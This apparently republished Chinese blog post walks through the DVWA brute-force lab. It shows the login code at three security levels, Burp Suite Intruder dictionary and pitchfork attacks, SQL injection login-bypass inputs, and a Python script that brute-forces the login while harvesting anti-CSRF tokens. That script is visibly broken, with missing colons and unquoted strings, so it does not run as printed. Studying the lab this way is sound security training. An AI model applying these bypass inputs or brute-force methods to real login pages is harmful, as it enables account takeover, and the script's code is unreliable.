天天看點

DVWA-Brute Force(暴力破解)DVWA-Brute Force(暴力破解)

DVWA-Brute Force(暴力破解)

Brute Force

Brute Force,即暴力(破解),是指黑客利用密碼字典,使用窮舉法猜解出使用者密碼,是現在最為廣泛使用的攻擊手法之一,如2014年轟動全國的12306“撞庫”事件,實質就是暴力破解攻擊。

DVWA-Brute Force(暴力破解)DVWA-Brute Force(暴力破解)

LOW級别

源代碼如下:

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Get username
    $user = $_GET[ 'username' ];

    // Get password
    $pass = $_GET[ 'password' ];
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

    if( $result && mysql_num_rows( $result ) == 1 ) {
        // Get users details
        $avatar = mysql_result( $result, 0, "avatar" );

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    mysql_close();
}

?> 
           

可以看到,伺服器隻是驗證了參數Login是否被設定(isset函數在php中用來檢測變量是否設定,該函數傳回的是布爾類型的值,即true/false),沒有任何的防爆破機制,且對參數username、password沒有做任何過濾,存在明顯的sql注入漏洞。

實測

方法一burpsuite

設定好代理,burp走起

第一步抓包

DVWA-Brute Force(暴力破解)DVWA-Brute Force(暴力破解)

第二步右擊發送給intrude子產品或者Ctrl+I,因為要對password那個進行破解,是以,要清除全部“§”符号,為password參數添加"§"

DVWA-Brute Force(暴力破解)DVWA-Brute Force(暴力破解)

第三步選擇“payload”選項進行暴力破解,載入字典檔案

DVWA-Brute Force(暴力破解)DVWA-Brute Force(暴力破解)

第四步看到有一行與其他響應長度不同,可以推測為正确的密碼

DVWA-Brute Force(暴力破解)DVWA-Brute Force(暴力破解)

登入試一下

DVWA-Brute Force(暴力破解)DVWA-Brute Force(暴力破解)

方法二手工注入

username:admin’ or’ 1’=’ 1

password:(空)

DVWA-Brute Force(暴力破解)DVWA-Brute Force(暴力破解)

username:admin’ #

password:(空)

DVWA-Brute Force(暴力破解)DVWA-Brute Force(暴力破解)

Medium級别

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = mysql_real_escape_string( $user );

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = mysql_real_escape_string( $pass );
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

    if( $result && mysql_num_rows( $result ) == 1 ) {
        // Get users details
        $avatar = mysql_result( $result, 0, "avatar" );

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( 2 );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    mysql_close();
}

?> 
           

相比Low級别的代碼,Medium級别的代碼主要增加了mysql_real_escape_string函數,這個函數會對字元串中的特殊符号(x00,n,r,,’,”,x1a)進行轉義,基本上能夠抵禦sql注入攻擊,說基本上是因為查到說 MySQL5.5.37以下版本如果設定編碼為GBK,能夠構造編碼繞過mysql_real_escape_string 對單引号的轉義(因實驗環境的MySQL版本較新,是以并未做相應驗證);同時,$pass做了MD5校驗,杜絕了通過參數password進行sql注入的可能性。但是,依然沒有加入有效的防爆破機制(sleep(2)實在算不上)。

同low級别一樣使用同樣的爆破方式

high級别

源代碼如下:

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = stripslashes( $user );
    $user = mysql_real_escape_string( $user );

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = mysql_real_escape_string( $pass );
    $pass = md5( $pass );

    // Check database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

    if( $result && mysql_num_rows( $result ) == 1 ) {
        // Get users details
        $avatar = mysql_result( $result, 0, "avatar" );

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( rand( 0, 3 ) );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    mysql_close();
}

// Generate Anti-CSRF token
generateSessionToken();

?>


           

High級别的代碼加入了Token,可以抵禦CSRF攻擊,同時也增加了爆破的難度,通過抓包,可以看到,登入驗證時送出了四個參數:username、password、Login以及user_token。

DVWA-Brute Force(暴力破解)DVWA-Brute Force(暴力破解)

每次伺服器傳回的登陸頁面中都會包含一個随機的user_token的值,使用者每次登入時都要将user_token一起送出。伺服器收到請求後,會優先做token的檢查,再進行sql查詢。

DVWA-Brute Force(暴力破解)DVWA-Brute Force(暴力破解)

同時,High級别的代碼中,使用了stripslashes(去除字元串中的反斜線字元,如果有兩個連續的反斜線,則隻去掉一個)、 mysql_real_escape_string對參數username、password進行過濾、轉義,進一步抵禦sql注入。

這裡用來自大佬的腳本

from bs4 import BeautifulSoup
import urllib2
header={       'Host': '192.168.x.x',
		'Cache-Control': 'max-age=0',
		'If-None-Match': "307-52156c6a290c0",
		'If-Modified-Since': 'Mon, 05 Oct 2015 07:51:07 GMT',
		'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36',
		'Accept': '*/*',
		'Referer': 'http://192.168.x.x/dvwa/vulnerabilities/brute/index.php',
		'Accept-Encoding': 'gzip, deflate, sdch',
		'Accept-Language': 'zh-CN,zh;q=0.8',
		'Cookie': 'security=high; PHPSESSID=xxxxxxxxxxxxxxxxxx'}
requrl = "http://192.168.x.x/dvwa/vulnerabilities/brute/"

def get_token(requrl,header)
	req = urllib2.Request(url=requrl,headers=header)
	response = urllib2.urlopen(req)
	print response.getcode(),
	the_page = response.read()
	print len(the_page)
	soup = BeautifulSoup(the_page,html.parser)
	user_token = soup.form.input.input.input.input[value] #get the user_token
	return user_token

user_token = get_token(requrl,header)
i=0
for line in open(rkolin.txt)
	requrl = "http://192.168.x.x/dvwa/vulnerabilities/brute/"+"?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token
	i = i+1
	print i,'admin',line.strip(),
	user_token = get_token(requrl,header)
	if (i == 10)
		break
           

運作腳本時burpsuite截圖

DVWA-Brute Force(暴力破解)DVWA-Brute Force(暴力破解)

列印的結果從第二行開始依次是序号、使用者名、密碼、http狀态碼以及傳回的頁面長度。

DVWA-Brute Force(暴力破解)DVWA-Brute Force(暴力破解)

對比結果看到,密碼為password時傳回的長度不太一樣,手工驗證,登入成功,爆破完成。

方法二burpsuite

第一步

将攔截結果發送給intrude

DVWA-Brute Force(暴力破解)DVWA-Brute Force(暴力破解)
DVWA-Brute Force(暴力破解)DVWA-Brute Force(暴力破解)

第二步

設定兩個參數 password和user_token為變量,攻擊類型選擇pitchfork,意思是草叉模式(Pitchfork )——它可以使用多組Payload集合,在每一個不同的Payload标志位置上(最多20個),周遊所有的Payload。舉例來說,如果有兩個Payload标志位置,第一個Payload值為A和B,第二個Payload值為C和D,則發起攻擊時,将共發起兩次攻擊,第一次使用的Payload分别為A和C,第二次使用的Payload分别為B和D。

DVWA-Brute Force(暴力破解)DVWA-Brute Force(暴力破解)

第三步

設定參數,在option頁籤中将攻擊線程thread設定為1,因為Recursive_Grep模式不支援多線程攻擊,然後選擇Grep-Extract,意思是用于提取響應消息中的有用資訊,點選Add,如下圖進行設定,最後将Redirections設定為Always

DVWA-Brute Force(暴力破解)DVWA-Brute Force(暴力破解)
DVWA-Brute Force(暴力破解)DVWA-Brute Force(暴力破解)

第四步

然後設定payload,第一個參數設定不在贅述,第二個參數選擇Recursive grep,然後将options中的token作為第一次請求的初始值。

DVWA-Brute Force(暴力破解)DVWA-Brute Force(暴力破解)
DVWA-Brute Force(暴力破解)DVWA-Brute Force(暴力破解)

第五步點選start attack攻擊爆破,結果成功爆破,如下圖所示

DVWA-Brute Force(暴力破解)DVWA-Brute Force(暴力破解)
參考轉自:https://www.freebuf.com/articles/web/116437.html
參考轉自:https://blog.csdn.net/liweibin812/article/details/86287645